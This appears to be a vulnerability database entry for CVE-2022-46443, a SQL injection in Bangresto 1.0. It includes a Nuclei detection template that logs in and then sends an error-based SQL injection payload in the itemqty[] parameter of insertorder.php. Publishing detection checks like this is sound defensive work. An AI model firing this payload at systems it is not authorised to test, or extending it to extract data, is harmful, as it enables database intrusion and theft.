Browse / CVEs / CVE-2022-46443
CVE-2022-46443· bangresto project / bangresto· CWE-89
Bangresto - SQL Injection
highseverity
8.8CVSS score
37.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and underlying database.
Fix
Upgrade to the latest version to mitigate this vulnerability.
How to confirm it
Send: POST /bangresto-main/staff/process.php ; POST /bangresto-main/staff/insertorder.php
Positive when: contains "{{md5({{num}})}}"Run it with nuclei: nuclei -id CVE-2022-46443 -u <target>
The full check
id: CVE-2022-46443
info:
name: Bangresto - SQL Injection
author: Harsh
severity: high
description: |
Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and underlying database.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://yuyudhn.github.io/CVE-2022-46443/
- https://nvd.nist.gov/vuln/detail/CVE-2022-46443
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-46443
cwe-id: CWE-89
epss-score: 0.37729
epss-percentile: 0.98554
cpe: cpe:2.3:a:bangresto_project:bangresto:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: bangresto_project
product: bangresto
tags: cve,cve2022,bangresto,sqli,bangresto_project,vuln
variables:
num: "999999999"
http:
- raw:
- |
POST /bangresto-main/staff/process.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{username}}&password={{password}}
- |
POST /bangresto-main/staff/insertorder.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;
itemID[]=1&itemqty[]=2 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a7a6b71,md5({{num}}),0x7178717a71,0x78))s), 8446744073709551610, 8446744073709551610)))&sentorder=Sent to kitchen
matchers-condition: and
matchers:
- type: word
words:
- '{{md5({{num}})}}'References
- https://yuyudhn.github.io/CVE-2022-46443/
- https://nvd.nist.gov/vuln/detail/CVE-2022-46443
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from